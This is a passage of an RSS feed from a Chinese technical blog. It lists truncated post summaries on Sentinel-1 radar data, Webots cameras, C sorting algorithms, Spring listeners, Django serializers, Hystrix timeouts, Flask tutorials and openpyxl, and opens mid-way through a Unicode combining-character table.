Below͔U+00354&amp;amp;#x0354;&amp;amp;#852; \0354Combining Right Arrowhead Below͕U+00355&amp;amp;#x0355;&amp;amp;#853; \0355Combining Right Arrowhead and Up Arrowhead Below͖U+00356&amp;amp;#x0356;&amp;amp;#854; \0356Combining Right Half Ring Above͗U+00357&amp;amp;#x0357;&amp;amp;#855; \0357Combining Dot Above Right͘U+00358&amp;amp;#x0358;&amp;amp;#856; \0358Combining Asterisk Below͙U+00359&amp;amp;#x0359;&amp;amp;#857; \0359Combining Double Ring Below͚U+0035A&amp;amp;#x035A;&amp;amp;#858; \035ACombining Zigzag Above͛U+0035B&amp;amp;#x035B;&amp;amp;#859; \035BCombining Double Breve Below͜U+0035C&amp;amp;#x035C;&amp;amp;#860; \035CCombining Double Breve͝U+0035D&amp;amp;#x035D;&amp;amp;#861; \035DCombining Double Macron͞U+0035E&amp;amp;#x035E;&amp;amp;#862; \035ECombining Double Macron Below͟U+0035F&amp;amp;#x035F;&amp;amp;#863; \035FCombining Double Tilde͠U+00360&amp;amp;#x0360;&amp;amp;#864; \0360Combining Double Inverted Breve͡U+00361&amp;amp;#x0361;&amp;amp;#865; \0361Combining Double Rightwards Arrow Below͢U+00362&amp;amp;#x0362;&amp;amp;#866; \0362Combining Latin Small Letter AͣU+00363&amp;amp;#x0363;&amp;amp;#867; \0363Combining Latin Small Letter EͤU+00364&amp;amp;#x0364;&amp;amp;#868; \0364Combining Latin Small Letter IͥU+00365&amp;amp;#x0365;&amp;amp;#869; \0365Combining Latin Small Letter OͦU+00366&amp;amp;#x0366;&amp;amp;#870; \0366Combining Latin Small Letter UͧU+00367&amp;amp;#x0367;&amp;amp;#871; \0367Combining Latin Small Letter CͨU+00368&amp;amp;#x0368;&amp;amp;#872; \0368Combining Latin Small Letter DͩU+00369&amp;amp;#x0369;&amp;amp;#873; \0369Combining Latin Small Letter HͪU+0036A&amp;amp;#x036A;&amp;amp;#874; \036ACombining Latin Small Letter MͫU+0036B&amp;amp;#x036B;&amp;amp;#875; \036BCombining Latin Small Letter RͬU+0036C&amp;amp;#x036C;&amp;amp;#876; \036CCombining Latin Small Letter TͭU+0036D&amp;amp;#x036D;&amp;amp;#877; \036DCombining Latin Small Letter VͮU+0036E&amp;amp;#x036E;&amp;amp;#878; \036ECombining Latin Small Letter XͯU+0036F&amp;amp;#x036F;&amp;amp;#879; \036F </description>
    </item>
    <item>
      <title>哨兵1数据介绍</title>
      <link>https://bchobby.github.io/posts/673e3ca2409dedbd4af2a0dec44d4008/</link>
      <pubDate>Mon, 15 Mar 2021 21:38:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/673e3ca2409dedbd4af2a0dec44d4008/</guid>
      <description>文章目录 一、哨兵1简介二、哨兵1A数据类型：三、知识补充四、sentinel-1的几种数据模式4.0 SM(Stripmap）4.1IW(Interferometric Wide swath)4.2EW(Extra Wide swath)4.3WV(Wave): 五.哨兵1号的数据产品5.0 Raw Level-0 data ；5.1 SLC（ Single Look Complex）：5.2GRD（Ground Range Detected）5.3OCN（Ocean） 六.哨兵1号的极化方式七、下载方式参考资料 一、哨兵1简介 哨兵1包括哨兵-1A和哨兵-1B两颗卫星。这两颗卫星是处于同一轨道平面的极轨卫星，分别于2014年4月3日和2016年4月25日成功发射。&#xA;这两颗卫星搭载C波段合成孔径雷达，具有4种成像模式，可为陆地和海洋服务提供全天时、全天候的雷达图像，提供一系列运营服务，包括北极海冰，日常海冰测绘，海洋环境监视监测科研，监测地面运动风险，森林制图，水和土壤管理和测绘，以支持人道主义援助和危机情况。&#xA;SAR系统可以通过多种方式获得图像，如单通道或双通道模式（如HH、HH / HV或VV / VH)、干涉 (单轨或多轨)模式、极化模式(HH,HV,VH,VV)、干涉及极化组合采集模式，不同的获取模式对应了不同的处理方法，可分为以下四种：&#xA;1 雷达强度图像处理&#xA;2 雷达干涉测量（InSAR/DInSAR）&#xA;3 极化雷达处理（PolSAR）&#xA;4 极化雷达干涉测量（PoIInSAR）&#xA;二、哨兵1A数据类型： SM SLC ——条带模式的斜距单视复数产品&#xA;IW SLC——干涉宽幅模式（TOPS Mode）的斜距单视复数产品&#xA;EW SLC——超宽幅模式（TOPS Mode）的斜距单视复数产品&#xA;SM GRD——条带模式的地距多视产品&#xA;IW GRD——干涉宽幅模式（TOPS Mode）的地距多视产品&#xA;EW GRD——超宽幅模式（TOPS Mode）的地距多视产品&#xA;三、知识补充 3.0 RAW数据&#xA;原始雷达数据，原始SAR数据经过聚焦处理可得到SLC数据。 聚焦处理是对雷达系统的RAW数据中每个点的反射率，利用经过优化的调焦算法实现数据快速聚焦处理，直接输出单视复数产品数据（SLC数据）。&#xA;3.1单视复数雷达影像（SLC）：&#xA;单视SAR图像是指只用一段合成孔径长度所称的SAR图像，没有和其他SAR图像进行叠加，通常所用的合成孔径长度比较长，这样方位分辨率比较高。&#xA;单视是处理整个多普勒带宽, 多视是把多普勒带宽分为多个部分,每个处理后可以得到一个方位子视图象. 这几个图象非相干叠加可以抑制相干斑.&#xA;3.2多视处理（Multilooking）&#xA;为了得到最高空间分辨率的SAR图像，SAR信号处理器使用完整的合成孔径和所有的信号数据，如单视复数（SLC）SAR图像产品，使得SAR图像包含很多的斑点噪声。多视处理的目的是为了抑制SAR图像的斑点噪声。&#xA;多视是指将整个有效合成孔径长度分成多段分别对同一场景进行成像，然后将所得的图像求和叠加得到一幅SAR图像，由几副SAR图像叠加，就是几视的SAR图像，这样做的好处是可以提高SAR图像的信噪比，有效抑制斑点噪声，代价是以降低方位分辨率。&#xA;单视SAR图像是指只用一段合成孔径长度所称的SAR图像，没有和其他SAR图像进行 叠加，通常所用的合成孔径长度比较长，这样方位分辨率比较高； 多视处理的目的是为了抑制斑点噪声，多视是指将整个有效合成孔径长度分成多段分 别对同一场景进行成像，然后将所得的图像求和叠加得到一幅SAR图像，由几副SAR 图像叠加，就是几视的SAR图像，这样做的好处是可以提高SAR图像的信噪比， 有效抑制斑点噪声，代价是以降低方位分辨率。 四、sentinel-1的几种数据模式 官网关于四种模式的介绍</description>
    </item>
    <item>
      <title>惊了，webots自带视觉识别</title>
      <link>https://bchobby.github.io/posts/71d1426a9f5e70146f1290f3d024dc1d/</link>
      <pubDate>Mon, 15 Mar 2021 21:12:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71d1426a9f5e70146f1290f3d024dc1d/</guid>
      <description>ubuntu版本：20.04&#xA;webots版本：2021a&#xA;控制器：C语言&#xA;为了能和读者进一步讨论问题，建立了一个微信群，方便给大家解答问题，也可以一起讨论问题。&#xA;加群链接&#xA;1. 识别效果 2. 普通相机及识别 在节点树下先添加一个Robot节点，在其节点下添加Camera节点。如下所示:&#xA;在控制器中输入如下代码可以对相机始能。&#xA;WbDeviceTag CAMERA = wb_robot_get_device(&#34;camera&#34;); wb_camera_enable(CAMERA,TIME_STEP); 重新启动世界后相机就能成功运行了。&#xA;2.1 普通相机 添加通用的Camera节点已经足够我们去开发了。通用相机可以自定义分辨率、视野、噪点等参数，一般情况下也支持相机的变焦和聚焦机制。在特殊情况下还提供了运动模糊、各种噪声模型、镜头畸变、球型投影等参数供我们去设置。&#xA;Camera { SFFloat fieldOfView 0.7854 # 视野 [0, pi] SFInt32 width 64 # 图像宽度 [0, inf) SFInt32 height 64 # 图像高度 [0, inf) SFBool spherical FALSE # 球型投影 {TRUE, FALSE} SFFloat near 0.01 # 相机到近剪裁平面的距离 [0, inf) SFFloat far 0.0 # 相机到远剪裁平面的距离 [0, inf) SFFloat exposure 1.0 # 暴光度 [near, inf) SFBool antiAliasing FALSE # 抗拒齿 {TRUE, FALSE} SFFloat ambientOcclusionRadius 0 # 环境光遮挡半径 [0, inf) SFFloat bloomThreshold -1.</description>
    </item>
    <item>
      <title>PLSQL设置中文</title>
      <link>https://bchobby.github.io/posts/c925d14cf8c49d731560b1de6e26cfef/</link>
      <pubDate>Mon, 15 Mar 2021 19:18:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c925d14cf8c49d731560b1de6e26cfef/</guid>
      <description>1、首先打开plsql，点击工具栏Tools&#xA;下拉框出现Preference，选择User Interface下的appearance&#xA;点击Language下拉框，选择Chinese.lang,应用，确定&#xA;这是成功后的界面&#xA;如果没有Chinese.lang，可以下载一个，网上都有，放入你plsql安装的位置</description>
    </item>
    <item>
      <title>用C语言完整实现12种排序方法</title>
      <link>https://bchobby.github.io/posts/9ffcbefdc5ef9cd4b611e35aeed1953a/</link>
      <pubDate>Mon, 15 Mar 2021 18:25:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ffcbefdc5ef9cd4b611e35aeed1953a/</guid>
      <description>1.冒泡排序 思路：比较相邻的两个数字，如果前一个数字大，那么就交换两个数字，直到有序。&#xA;时间复杂度：O(n^2)，稳定性：这是一种稳定的算法。&#xA;代码实现： void bubble_sort(int arr[],size_t len){ size_t i,j; for(i=0;i&amp;lt;len;i++){&#x9;bool hasSwap = false;&#x9;//优化，判断数组是否已经有序，如果有序可以提前退出循环 for(j=1;j&amp;lt;len-i;j++){&#x9;//这里j&amp;lt;len-i是因为最后面的肯定都是最大的，不需要多进行比较 if(arr[j-1]&amp;gt;arr[j]){&#x9;//如果前一个比后一个大 swap(&amp;amp;arr[j-1],&amp;amp;arr[j]);&#x9;//交换两个数据 hasSwap = true; }&#x9;} if(!hasSwap){ break;&#x9;} } } 2.插入排序 思路：把一个数字插入一个有序的序列中，使之仍然保持有序，如对于需要我们进行排序的数组，我们可以使它的前i个数字有序，然后再插入i+1个数字，插入到合适的位置使之仍然保持有序，直到所有的数字有序。&#xA;时间复杂度：O(n^2)稳定性：稳定的算法&#xA;代码实现： void insert_sort(int arr[],int len){ int i,j; for(i=1;i&amp;lt;len;i++){ int key = arr[i];&#x9;//记录当前需要插入的数据 for(j= i-1;i&amp;gt;=0&amp;amp;&amp;amp;arr[j]&amp;gt;key;j--){&#x9;//找到插入的位置 arr[j+1] = arr[j];&#x9;//把需要插入的元素后面的元素往后移 } arr[j+1] = key;&#x9;//插入该元素 } } 3.折半插入排序 思路：本质上是插入排序，但是通过半分查找法找到插入的位置，让效率稍微快一点。&#xA;时间复杂度：O(n^2)，稳定性：稳定的算法。&#xA;代码实现： void half_insert_sort(int arr[],int len){ int i,j; for(i=1;i&amp;lt;len;i++){ int key = arr[i]; int left = 0; int right = i-1; while(left&amp;lt;=right){&#x9;//半分查找找到插入的位置 int mid = (left+right)/2; if(key&amp;lt;arr[mid]){ right = mid-1;&#x9;}else{ left = mid+1;&#x9;}&#x9;} for(j=i-1;j&amp;gt;=left;j--){&#x9;//把后面的元素往后移 arr[j+1]=arr[j];&#x9;} arr[j+1] = key;&#x9;//插入元素 } } 4.</description>
    </item>
    <item>
      <title>Github无法打开</title>
      <link>https://bchobby.github.io/posts/7e249100427e37269b8f4ec33debadfe/</link>
      <pubDate>Mon, 15 Mar 2021 15:55:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e249100427e37269b8f4ec33debadfe/</guid>
      <description>参考：https://blog.csdn.net/Blinkin/article/details/107362335</description>
    </item>
    <item>
      <title>Spring和SpringBoot监听器</title>
      <link>https://bchobby.github.io/posts/c33c497414c4af6b04dbb96f39cc0dcf/</link>
      <pubDate>Mon, 15 Mar 2021 15:24:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c33c497414c4af6b04dbb96f39cc0dcf/</guid>
      <description>聊到spring boot的生命周期，其实就是事件的监听，这里spring boot的事件监听和spring的有关联，先了解spring的事件监听&#xA;spring最开始的监听器父类是这个&#xA;这个是自从spring3.0后可以对你感兴趣的进行监听，而这个实现机制是通过泛型ApplicationListener&amp;lt;E extends ApplicationEvent&amp;gt;来实现的。&#xA;As of Spring 3.0, an ApplicationListener can generically declare the event type that it is interested in 后来随着spring boot的出现，又出现了新的监听器接口&#xA;public interface SpringApplicationRunListener { void starting(); void environmentPrepared(ConfigurableEnvironment environment); void contextPrepared(ConfigurableApplicationContext context); void contextLoaded(ConfigurableApplicationContext context); void started(ConfigurableApplicationContext context); void running(ConfigurableApplicationContext context); void failed(ConfigurableApplicationContext context, Throwable exception); } 其实SpringApplicationRunListener并不是新的事物，他最终还是持有的ApplicationListener实现类。典型的新瓶装旧酒&#xA;所以下的分析还是围绕ApplicationListener来进行,根据分类可以分为有完整spring bean生命周期的类和没有spring bean生命周期的&#xA;一、 非IOClistener 这类就是没有spring生命周期的，这类也是参与感最强的，他贯穿spring boot的整个流程&#xA;在new SpringApplication()的时候会调用这句话&#xA;setListeners((Collection) getSpringFactoriesInstances(ApplicationListener.class)); 需要继续分析getSpringFactoriesInstances&#xA;private &amp;lt;T&amp;gt; Collection&amp;lt;T&amp;gt; getSpringFactoriesInstances(Class&amp;lt;T&amp;gt; type, Class&amp;lt;?</description>
    </item>
    <item>
      <title>java中的select nvl,NVL成效出不来  结果还都是null</title>
      <link>https://bchobby.github.io/posts/0ed9bc285e3b9e83edb204669d350a24/</link>
      <pubDate>Sun, 14 Mar 2021 23:08:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ed9bc285e3b9e83edb204669d350a24/</guid>
      <description>NVL效果出不来 结果还都是null&#xA;SELECT DISTINCT NVL(LM_LICENSE.LICENSE_TYPE_ID,0),&#xA;NVL(CASE_MASTER.CASE_ID,0),&#xA;NVL(CASE_PRODUCT.PRODUCT_ID,0),&#xA;NVL(CASE_PRODUCT.SEQ_NUM,0)&#xA;FROM CASE_MASTER,&#xA;CASE_PRODUCT,&#xA;LM_PRODUCT,&#xA;LM_LIC_PRODUCTS,&#xA;LM_LICENSE&#xA;WHERE CASE_MASTER.CASE_ID = CASE_PRODUCT.CASE_ID&#xA;AND CASE_PRODUCT.PRODUCT_ID =&#xA;LM_PRODUCT.PRODUCT_ID&#xA;AND LM_PRODUCT.PRODUCT_ID =&#xA;LM_LIC_PRODUCTS.PRODUCT_ID&#xA;AND LM_LIC_PRODUCTS.LICENSE_ID =&#xA;LM_LICENSE.LICENSE_ID&#xA;AND CASE_MASTER.DELETED IS NULL&#xA;AND CASE_PRODUCT.DELETED IS NULL&#xA;AND LM_PRODUCT.DELETED IS NULL&#xA;AND LM_LIC_PRODUCTS.DELETED IS NULL&#xA;AND LM_LICENSE.DELETED IS NULL&#xA;AND LM_LICENSE.COUNTRY_ID = 107&#xA;AND CASE_MASTER.COUNTRY_ID = 107&#xA;AND CASE_PRODUCT.PROTOCOL_FOLLOWED IS NULL&#xA;AND CASE_PRODUCT.PRODUCT_ID IS NOT NULL&#xA;AND CASE_MASTER.CASE_ID = 15415412</description>
    </item>
    <item>
      <title>djangorestframework自关联关系模型实例序列化</title>
      <link>https://bchobby.github.io/posts/4e26bad5cad468b9c0712deddbd61bc4/</link>
      <pubDate>Sun, 14 Mar 2021 20:34:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e26bad5cad468b9c0712deddbd61bc4/</guid>
      <description>自关联 顾名思义 自己关联自己&#xA;下面这个例子将会讲到自管理（省市区 三级联动的例子）&#xA;省的上一级（parant）为None市的上一级（parant）为省区的上一级（parant）为市 如果查到一地区的parant为None说明它是省一级地区，如果不为None就可以知道该地区是那个省那个市那个区的了&#xA;模型类：&#xA;class Area(models.Model): &#34;&#34;&#34; 省市区三级联动 &#34;&#34;&#34; name = models.CharField(max_length=20,verbose_name=&#39;名称&#39;) parent = models.ForeignKey(&#39;self&#39;,on_delete=models.SET_NULL,related_name=&#39;subs&#39;, null=True,blank=True,verbose_name=&#39;上级行政区划&#39;) class Meta: db_table = &#39;area&#39; verbose_name= &#39;行政区划&#39; verbose_name_plural = verbose_name 序列器：&#xA;class AreaSer(serializers.ModelSerializer): class Meta: model = Area fields = (&#39;id&#39;,&#39;name&#39;) class SubSer(serializers.ModelSerializer): # 外键 序列化 subs = AreaSer(many=True,read_only=True) class Meta: model = Area fields =(&#39;id&#39;,&#39;name&#39;,&#39;subs&#39;) 视图：只进行查询操作 所以选用ReadOnlyModelViewSet视图集&#xA;class AreaView(ReadOnlyModelViewSet): # 重写获取查询集以及序列化器类 def get_queryset(self): if self.action == &#39;list&#39;: return models.</description>
    </item>
    <item>
      <title>关于Hystrix超时</title>
      <link>https://bchobby.github.io/posts/31ba326913ea8133de9537df15c2c23a/</link>
      <pubDate>Sun, 14 Mar 2021 18:09:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31ba326913ea8133de9537df15c2c23a/</guid>
      <description>关于Hystrix超时 对于web的请求有些时候可能会超过2s，这时候需要设置超市请求&#xA;Hystrix的作用是对一段程序进行控制，这段程序做了什么无所谓。&#xA;程序请求服务的框架是feign，所以要对feign进行控制。&#xA;0、OpenFeign的程序&#xA;@FeignClient(value = &#34;getname&#34;) public interface OpenFeignTestController { @GetMapping(&#34;/server3&#34;) CommonResult getServer3Name(); @GetMapping(&#34;/server1&#34;) CommonResult getServer1Name(); } 1、配置Hystrix的超时，允许程序运行。&#xA;@GetMapping(&#34;/server3&#34;) @HystrixCommand(fallbackMethod = &#34;fail&#34;,commandProperties={ @HystrixProperty(name = &#34;execution.isolation.thread.timeoutInMilliseconds&#34;,value = &#34;4000&#34;) }) public CommonResult client3(){ return openFeignTestController.getServer3Name(); } 2、配置feign的请求超时，这里是配置http的超时&#xA;feign.client.config.default.connect-timeout=4000 feign.client.config.default.read-timeout=4000 3、服务端睡眠2s&#xA;@GetMapping(&#34;/server3&#34;) public CommonResult getServer3Name(){ try { Thread.sleep(2000); } catch (InterruptedException e) { e.printStackTrace(); } System.out.println(&#34;I am &#34;+server+&#34; and sleep 2s&#34;); return ResultUtill.Ok(server); } 此时请求网关的/server3就可以超时了</description>
    </item>
    <item>
      <title>Flask Mega-Tutorial V2.0 第15章：大型应用程序结构</title>
      <link>https://bchobby.github.io/posts/33264283f8f4609d962464b65bb2af77/</link>
      <pubDate>Sun, 14 Mar 2021 17:37:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33264283f8f4609d962464b65bb2af77/</guid>
      <description>最近在Flask Web Development作者博客看到第二版Flask Mega-Tutorial已在2017年底更新，现翻译给大家参考，希望帮助大家学习flask。&#xA;这是Flask Mega-Tutorial系列的第十五章，我将使用适用于大型应用的风格重构本应用。&#xA;供您参考，以下是本系列文章的列表。&#xA;第1章：Hello, World！第2章：模板 第3章：Web表单第4章：数据库第5章：用户登录第6章：配置文件页面和头像第7章：错误处理第8章：关注与被关注第9章：分页第10章：电子邮件支持第11章：整容第12章：日期和时间第13章：I18n和L10n第14章：Ajax第15章：大型应用程序结构（本文）第16章：全文搜索第17章：在Linux上部署第18章：在Heroku上部署第19章：Docker容器上的部署第20章：一些JavaScript Magic第21章：用户通知第22章：后台工作第23章：应用程序编程接口（API） 注意1：如果您正在寻找本教程的旧版本，请在此处。&#xA;注意2：如果您想在此博客上支持我的工作，或者只是没有耐心等待每周的文章，我将提供完整的本教程版本，打包成电子书或视频集。欲了解更多信息，请访问courses.miguelgrinberg.com。&#xA;Microblog已经是一个初具规模的应用了，所以我认为这是讨论Flask应用如何在持续增长中不会变得混乱和难以管理的好时机。 Flask是一个框架，旨在让你选择以任何方式来组织项目，基于该理念，在应用日益庞大或者技能水平变化的时候，才有可能更改和调整其结构。&#xA;在本章中，我将讨论适用于大型应用的一些模式，并且为了演示他们，我将对Microblog项目的结构进行一些更改，目标是使代码更易于维护和组织。 当然，在真正的Flask精神中，我鼓励你在尝试决定组织自己的项目的方式时仅仅将这些更改作为参考。&#xA;本章的GitHub链接是：Browse，Zip，Diff。&#xA;当前的局限 当前状态下的应用程序有两个基本问题。如果查看应用程序的结构，您会注意到可以识别一些不同的子系统，但是支持它们的代码都是混杂在一起的，没有明确的界限。让我们回顾一下这些子系统是什么：&#xA;用户身份验证子系统，其中包括app / routes.py中的某些视图功能，app / forms.py中的某些表单，app / templates中的某些模板以及app / email.py中的电子邮件支持。错误子系统，它在app / errors.py中定义错误处理程序，并在app / templates中定义模板。核心应用功能，包括显示和编写博客文章，用户个人资料和关注以及博客文章的实时翻译，这些内容分布在大多数应用模块和模板中。 考虑到我已经确定的这三个子系统以及它们的结构，您可能会注意到一个模式。到目前为止，我一直遵循的组织逻辑是不同的应用功能归属到其专属的模块。这些模块中，有一个视图模块，另一个用于Web表单，一个用于错误，一个用于电子邮件，一个用于HTML模板的目录等等。尽管对于小型项目而言，这是一个有意义的结构，但是一旦项目开始发展，它往往会使其中一些模块真正变得庞大而混乱。&#xA;更清晰地理解这个问题的一种方法，是思考如何通过尽可能多地重用该项目来启动第二个项目。例如，用户身份验证部分应该可以在其他应用中很好地运行，但是如果您想按原样使用该代码，则必须进入几个模块并将相关部分复制/粘贴到新项目的新文件中。看到这有多么不便？如果该项目将所有与身份验证相关的文件与应用的其余部分分开，那会不会更好吗？Flask的蓝图功能有助于实现更实用的组织，从而使重用代码更加容易。&#xA;还有第二个问题并不那么明显。Flask应用实例在app / __ init__.py中创建为全局变量，然后由许多应用模块导入。尽管这本身不是问题，但将应用实例作为全局变量会使某些情况（尤其是与测试相关的情况）复杂化。假设您要在不同的配置下测试此应用。因为应用被定义为全局变量，实际上没有办法使用不同配置变量来实例化的两个应用实例。另一个不理想的情况是，所有测试都使用相同的应用，因此测试可能会对应用进行更改，从而影响稍后运行的其它测试。理想情况下，您希望所有测试都在原始应用实例上运行。&#xA;可以在tests.py模块中看到我正在使用的应用实例化之后修改配置的技巧，以指示测试时使用内存数据库而不是默认的SQLite数据库。我真的没有其他方法可以更改已配置的数据库，因为到测试启动时，已创建并配置了应用。对于这种特殊情况，在将配置应用于应用之后更改配置似乎可以正常工作，但是在其他情况下则可能无法正常工作，并且在任何情况下，这都是一种不好的做法，因为这么做可能会导致提示晦涩并且难以找到BUG。&#xA;更好的解决方案是不为应用程序使用全局变量，而是使用应用工厂函数在运行时创建它。该函数将接受配置对象作为参数，并返回配置完成的Flask应用实例。 如果我能够通过应用工厂函数来修改应用，那么编写需要特殊配置的测试将变得很容易，因为每个测试都可以创建自己的应用。&#xA;在本章中，我我将通过为上面提到的三个子系统重构应用来介绍blueprints。向您显示更改的详细列表将是不切实际的，因为作为应用一部分的每个文件都有少许变化，因此，我将讨论执行重构的步骤，然后您可以下载所做的更改并下载应序。&#xA;蓝图Blueprints 在Flask中，蓝图是代表应用程序子集的逻辑结构。蓝图可以包含诸如路由，视图函数，表单，模板和静态文件之类的元素。如果在单独的Python包中编写蓝图，那么你将拥有一个封装了应用特定功能的组件。&#xA;蓝图的内容最初处于休眠状态。要关联这些元素，需要将蓝图注册到应用中。在注册期间，所有添加到蓝图中的元素都将传递到应用。因此，您可以将蓝图视为应用功能的临时存储，以帮助组织代码。&#xA;错误处理蓝图 我创建的第一个blueprint用于封装对错误处理程序的支持。该蓝图的结构如下：&#xA;app/ errors/ &amp;lt;-- blueprint package __init__.py &amp;lt;-- blueprint creation handlers.py &amp;lt;-- error handlers templates/ errors/ &amp;lt;-- error templates 404.html 500.html __init__.py &amp;lt;-- blueprint registration 本质上，我所做的是将app / errors.</description>
    </item>
    <item>
      <title>为什么我的网页会显示HTTP Status 404</title>
      <link>https://bchobby.github.io/posts/44653a0f00941946849bd815cc643c45/</link>
      <pubDate>Sun, 14 Mar 2021 16:58:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44653a0f00941946849bd815cc643c45/</guid>
      <description>网站显示HTTP Status 404是常见的网络错误界面。造成HTTP Status 404一般是以下3种原因导致的：&#xA;1、所访问网站的服务器问题，用户所访问的网站对应的服务器网页已被删除或者修改，也可能是用户所访问的网站服务器没有部署Web服务器应用，导致服务器未能响应用户的请求，所以网站会返回404错误状态码。&#xA;2、所访问网站的URL问题，这是因为用户输入的网站地址链接错误或者输入了不存在的网站的网址。也可能是所访问的网站的域名服务到期，网站管理者没有续费，导致该网址失效，从而使得浏览器无法找到对应的网络资源，造成HTTP Status 404错误。&#xA;3、用户自己访问网站的设备网络问题，用户使用的网络设备网络连接故障，从而访问的服务器网络信号差，MIME映射策略阻止本请求，或者Web服务扩展锁定策略阻止本请求。导致浏览器返回404错误提示页面。</description>
    </item>
    <item>
      <title>5分钟让你学会用 Python 操作 Excel !</title>
      <link>https://bchobby.github.io/posts/793a7ad31ba0d4d3f5dee8c2d5d9e08f/</link>
      <pubDate>Sun, 14 Mar 2021 13:08:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/793a7ad31ba0d4d3f5dee8c2d5d9e08f/</guid>
      <description>最近听很多读者提及关于如何用Python操作Excel,于是今天我就用最简洁的语言给大家普及下用Python操作Excel最简洁的方式。&#xA;Python操作Excel的库有很多，比如 xlrd/xlwt、xlwings、pandas、openpyxl等，经过我平时工作的使用与实践，个人觉得openpyxl是最简洁方便且易于操作的，所以这篇文章主要给大家介绍下关于openpyxl的用法。&#xA;1 安装 pip install openpyxl 2 创建Excel文件写入文件并保存 import openpyxl wb = openpyxl.Workbook() sheet = wb.active sheet2 = wb.create_sheet(&#39;sheet2&#39;) sheet.append([&#39;类别1&#39;, &#39;问题1&#39;, &#39;答案1&#39;]) sheet.append([&#39;1&#39;, &#39;2&#39;, &#39;3&#39;]) sheet2.append([&#39;类别2&#39;, &#39;问题2&#39;, &#39;答案2&#39;]) sheet2.append([&#39;1&#39;, &#39;2&#39;, &#39;3&#39;]) wb.save(&#39;test.xlsx&#39;) 结果如下图：&#xA;3 载入Excel文件再写入并再保存 import openpyxl wb = openpyxl.load_workbook(&#39;test.xlsx&#39;) sheet = wb.active sheet.append([&#39;4&#39;, &#39;5&#39;, &#39;6&#39;]) wb.save(&#39;test.xlsx&#39;) 结果如下图：&#xA;4 遍历Excel文件输出 import openpyxl wb = openpyxl.load_workbook(&#39;test.xlsx&#39;) sheet1 = wb.active sheet2 = wb[&#39;sheet2&#39;] rows1 = list(sheet1.rows) for row in rows1: print(&#39; &#39;.</description>
    </item>
    <item>
      <title>Flask Mega-Tutorial V2.0 第14章：Ajax</title>
      <link>https://bchobby.github.io/posts/64801b7a4ca64ccb14239ac33ed6f3e6/</link>
      <pubDate>Sun, 14 Mar 2021 11:28:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64801b7a4ca64ccb14239ac33ed6f3e6/</guid>
      <description>最近在Flask Web Development作者博客看到第二版Flask Mega-Tutorial已在2017年底更新，现翻译给大家参考，希望帮助大家学习flask。&#xA;这是Flask Mega-Tutorial系列的第十四章，其中我将使用Microsoft翻译服务和一点点JavaScript添加实时语言翻译功能。&#xA;供您参考，以下是本系列文章的列表。&#xA;第1章：Hello, World！第2章：模板 第3章：Web表单第4章：数据库第5章：用户登录第6章：配置文件页面和头像第7章：错误处理第8章：关注与被关注第9章：分页第10章：电子邮件支持第11章：整容第12章：日期和时间第13章：I18n和L10n第14章：Ajax（本文）第15章：大型应用程序结构第16章：全文搜索第17章：在Linux上部署第18章：在Heroku上部署第19章：Docker容器上的部署第20章：一些JavaScript Magic第21章：用户通知第22章：后台工作第23章：应用程序编程接口（API） 注意1：如果您正在寻找本教程的旧版本，请在此处。&#xA;注意2：如果您想在此博客上支持我的工作，或者只是没有耐心等待每周的文章，我将提供完整的本教程版本，打包成电子书或视频集。欲了解更多信息，请访问courses.miguelgrinberg.com。&#xA;在本文中，我将偏离服务器端开发的“安全区域”，并致力于具有同等重要的服务器和客户端组件的功能。您是否看到某些网站在用户生成的内容旁边显示的“翻译”链接？这些链接可触发实时自动翻译非用户本国语言的内容。通常将翻译后的内容插入原始版本的下方。Google将其显示为外语搜索结果。Facebook将其发布。Twitter将其用于推文。今天，我将向您展示如何向Microblog添加相同的功能！&#xA;本章的GitHub链接是：Browse，Zip，Diff。&#xA;服务器端与客户端 到目前为止，在我遵循的传统服务器端模型中，有一个客户端（由用户命令的Web浏览器）向应用程序服务器发出HTTP请求。请求可以简单地要求一个HTML页面，例如单击“个人主页”链接时，也可以触发操作，例如在编辑你的个人信息之后单击提交按钮。在这两种类型的请求中，服务器通过直接发送新的网页或通过发送重定向来完成请求。 然后客户端用新的页面替换当前页面。 只要用户停留在应用的网站上，该周期就会重复。 在这种模式下，服务器完成所有工作，而客户端只显示网页并接受用户输入。&#xA;在另一种模式中，客户端扮演着更积极的角色。在此模式中，客户端向服务器发出一个请求，并且服务器响应一个页面，但是与前一种情况不同，并非所有页面数据都是HTML，页面中也有部分代码，通常用Javascript编写。一旦客户端收到页面后，它将显示HTML部分，并执行代码。从那时起，您将拥有一个可以独立工作的活动客户端，可以在不与服务器接触很少或没有接触的情况下自行完成工作。在严格的客户端应用程序中，整个应用程序会在初始页面请求的情况下下载到客户端，然后该应用完全在客户端上运行，只有在查询或者变更数据时才与服务器联系。这种类型的应用称为单页应用程序或SPAs。&#xA;大多数应用是这两种模式之间的混合，并且结合了两种技术特点。我的Microblog应用主要是服务器端应用，但是今天我将向它添加一些客户端操作。为了实时翻译用户动态，客户端浏览器将异步请求发送到服务器，服务器将响应该请求而不会导致页面刷新。然后客户端将动态地将翻译插入当前页面。这种技术被称为Ajax，它是异步JavaScript和XML的缩写（尽管如今XML经常被JSON取代）。&#xA;实时翻译的工作流程 借助Flask-Babel，本应用对外语提供了良好的支持，可以支持尽可能多的语言，只要我找到了对应的译文。但是遗漏一个要素，用户将以自己的语言撰写博客文章，因此用户很有可能会遇到用未知语言撰写的文章。自动翻译的质量并不总是很好，但是在大多数情况下，如果您只想对另一种语言的文字有一个基本的了解，就已经足够了。&#xA;这正是Ajax大展身手的好机会！ 设想主页或发现页面可能会显示若干用户动态，其中一些可能是外语。 如果我使用传统的服务器端技术实现翻译，则翻译请求会导致原始页面被替换为新页面。 